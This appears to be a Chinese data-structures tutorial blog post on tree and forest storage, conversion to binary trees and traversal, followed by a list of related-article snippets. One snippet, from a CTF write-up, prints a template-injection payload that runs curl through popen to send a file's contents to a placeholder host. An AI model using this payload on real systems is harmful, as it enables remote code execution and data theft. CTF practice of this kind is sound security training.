树和森林.

news2024/11/24 1:26:41

目录

一、树

1.1树的存储结构

1.1.1双亲表示法

1.1.2孩子链表

1.1.3孩子兄弟表示法

1.2树与二叉树的转换

1.2.1将树转换成二叉树:

 1.2.2将二叉树转换成树

二、森林

2.1森林与二叉树的转换

2.1.1将森林转换成二叉树

2.1.2二叉树转换成森林

三、树和森林的遍历

3.1树的遍历

3.2森林的遍历

3.2.1先序遍历

 3.2.2中序遍历


一、树

1.1树的存储结构

1.1.1双亲表示法

实现:定义结构数组,存放树的结点,每个结点含两个域:

数据域——存放结点本身信息;双亲域——指示本结点的双亲结点在数组中的位置

根结点数组下标为0,个数n=10

(找双亲容易,找孩子难)

1.1.2孩子链表

孩子结点结构:child next ;双亲结构特点: data firstchild

(找孩子容易,找双亲难)

带双亲的孩子链表

1.1.3孩子兄弟表示法

实现:用二叉链表作树的存储结构,链表中每个结点的两个指针域分别指向其第一个孩子结点和下一个兄弟结点。

1.2树与二叉树的转换

给定一棵树,可以找到唯一的一棵二叉树与之对应。

1.2.1将树转换成二叉树:

①加线:在兄弟之间加一条线

②抹线:对每个结点,除了其左孩子外,去除其与其余孩子之间的关系

③以树的根结点为轴心,将整树顺时针旋转45°

树变二叉树:兄弟相连留长子

例:

 1.2.2将二叉树转换成树

①加线:若p结点时双亲结点的左孩子,则将p的右孩子,右孩子的右孩子,沿分支找到的所有右孩子,都与p的双亲用线连起来

②抹线:抹掉原二叉树中双亲与右孩子之间的连线

③调整:将结点按层次排列,形成树结构

二叉树变树:左孩右右连双亲,去掉原来右孩线

例:

 

二、森林

2.1森林与二叉树的转换

2.1.1将森林转换成二叉树

①将各棵树分别转换成二叉树

②将每棵树的根结点用线相连

③以第一棵树的根结点作为二叉树的根,再以根结点为轴心,顺时针旋转,构成二叉树型结构

森林变二叉树:树变二叉根相连

例:

2.1.2二叉树转换成森林

①抹线:将二叉树中根结点与其右孩子连线,及沿有分支搜索到的所有右孩子间连线全部抹掉,使之变成孤立的二叉树

②还原:将孤立的二叉树还原成树

二叉树变森林:去掉全部右孩线,孤立二叉再还原

例:

三、树和森林的遍历

3.1树的遍历

先根遍历:若树不空,则先访问根结点,再依次先根遍历各棵子树

后根遍历:若树不空,则先依次后根遍历各棵子树,然后访问根结点

层次遍历:若树不空,则自上而下自左至右访问树中每个结点

例:

3.2森林的遍历

把森林看作由三部分构成:

①森林中第一棵树的根结点

②森林中第一棵树的子树森林

③森林中其他树构成的森林

3.2.1先序遍历

若森林不空,则:

①访问森林中第一棵树的根结点

②先序遍历森林中第一棵树的子树森林

③先序遍历森林中(除第一棵树之外)其余树构成的森林

即:依次从左至右对森林中的每一棵树进行先根遍历

例:

 3.2.2中序遍历

若森林不空,则:

①中序遍历森林中第一棵树的子树森林

②访问森林中第一棵树的根结点

③中序遍历森林中(除第一棵树之外)其余树构成的森林

即:依次从左至右对森林中的每一棵树进行后根遍历

例:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1850364.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

找不到xinput1_3.dll如何修复?总结几种靠谱的修复方法

在数字时代,软件问题几乎是每个电脑用户都会遇到的难题。最近,我也遇到了一个令人头疼的问题——xinput1_3.dll文件丢失。这个问题导致我无法正常运行一些游戏,十分影响我的娱乐体验。通过这次修复经历,我不仅解决了问题&#xff…

FL论文专栏|设备异构、异步联邦

论文:Asynchronous Federated Optimization(12th Annual Workshop on Optimization for Machine Learning) 链接 实现Server的异步更新。每次Server广播全局Model的时候附带一个时间戳,Client跑完之后上传将时间戳和Model同时带回…

OAuth 2.0资源授权机制与安全风险分析

文章目录 前言OAuth2.01.1 OAuth应用1.2 OAuth基础1.3 授权码模式1.4 其它类模式1.5 openid连接 安全威胁2.1 隐式授权劫持2.2 CSRF攻击风险2.3 Url重定向漏洞2.4 scope校验缺陷 总结 前言 OAuth 全称为Open Authorization(开放授权),OAuth …

[Qt] QtCreator编辑区关闭右侧不必要的警告提示

在代码编辑页面,右侧总会出现一些即时Waring,不想看见? 取消勾选插件管理中的ClangCodeModel 插件即可

基于肤色模型的人脸识别,基于野火FPGA ZYNQ开发板

使用芯片为ZYNQ—7020,基于野火FPGA ZYNQ开发板 肤色模型简介 YCrCb也称为YUV,主要用于优化彩色视频信号的传输。与RGB视频信号传输相比,它最大的优点在于只需占用极少的频宽(RGB要求三个独立的视频信号同时传输)。其…

【机器学习 复习】第4章 决策树算法(重点)

一、概念 1.原理看图,非常简单: (1)蓝的是节点,白的是分支(条件,或者说是特征,属性,也可以直接写线上,看题目有没有要求), &#xff…

常见的8种排序(含代码):插入排序、冒泡排序、希尔排序、快速排序、简单选择排序、归并排序、堆排序、基数排序

时间复杂度O(n^2) 1、插入排序 (Insertion Sort) 从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到…

喂饭教程:AI生成100套Word题库阿里云百炼实训营

郭震原创,手撸码字187022张图 你好,我是郭震 1 实际需求 前段时间,有个关注我的粉丝联系我,是一位大学计算机女老师。 她想做一个二级考试题库,选择题实操题,最好100套以上,拿来给学生练手。 问…

大脑临界状态:探索思维背后的物理机制

在深度思考或创造性灵感的涌现时刻,个体常体验到一种介于混乱与有序之间的特殊心理状态。这种感受实则反映了大脑在认知过程中的临界状态,这是一种涉及复杂物理现象的心理活动表现。近期研究表明,大脑结构中存在着与临界性密切相关的物理特性…

DataWhale - 吃瓜教程学习笔记(二)

学习视频:第3章-一元线性回归_哔哩哔哩_bilibili 西瓜书对应章节: 3.1 - 3.2 一元线性回归 - 最小二乘法 - 极大似然估计 - 梯度 多元函数的一阶导数 - 海塞矩阵 多元函数的二阶导数 - 机器学习三要素

php反序列化漏洞简介

目录 php序列化和反序列化简介 序列化 反序列化 类中定义的属性 序列化实例 反序列化实例 反序列化漏洞 序列化返回的字符串格式 魔术方法和反序列化利用 绕过wakeup 靶场实战 修复方法 php序列化和反序列化简介 序列化 将对象状态转换为可保持或可传输的格式的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

【开源节流】如何通过数字化转型增强盈利能力?

引言:随着市场竞争的日益激烈,新技术发展的推动和企业发展的需求等,这些背景因素共同促使企业加快数字化转型步伐,以适应市场变化、提升竞争力并实现可持续发展。那如何通过如何通过数字化转型增强盈利能力?需要通过开…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

神经网络学习6-线性层

归一化用的较少 正则化用来解决过拟合,处理最优化问题,批量归一化加快速度 正则化(Regularization): 作用:正则化是一种用来防止过拟合的技术,通过向模型的损失函数中添加惩罚项,使…

Wakelocks 框架设计与实现

Wakelocks 框架是基于Wakeup Source实现的为Android系统上层提供投票机制,以阻止系统进入休眠。 1.功能说明 该模块的支持受宏CONFIG_PM_WAKELOCKS控制。在使能该宏的情况下,PM Core初始化过程中会在sysfs下创建两个属性节点: /sys/power/w…

CNN神经网络猫狗分类经典案例

因为有猫和狗两类,所有在data/train目录下,再建两个目录data/train/dog和data/train/cat: 同理,其他的data/validation和data/test目录下,再建两个目录:cat和data/,在cat和dog目录下&#xff0c…

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…

腰背肌筋膜炎怎么治疗最有效

腰背肌筋膜炎的治疗方法主要包括以下几种&#xff1a; 1、休息和物理治疗&#xff1a; 确保充足的休息&#xff0c;避免过度劳累&#xff0c;减少腰背部肌肉的负担。 物理治疗&#xff0c;如热敷或冷敷&#xff0c;可以缓解疼痛和肌肉紧张。热敷可以使用热水袋、热毛巾或电热垫…

读《文明之光》第2册总结

《文明之光》系列大致按照从地球诞生到近现代的顺序讲述了人类文明进程的各个阶段&#xff0c;每个章节相对独立&#xff0c;全景式地展现了人类文明发展历程中的多样性。《文明之光》系列第二册讲述了从近代科学兴起&#xff0c;到工业革命时代&#xff0c;以及原子能应用这一…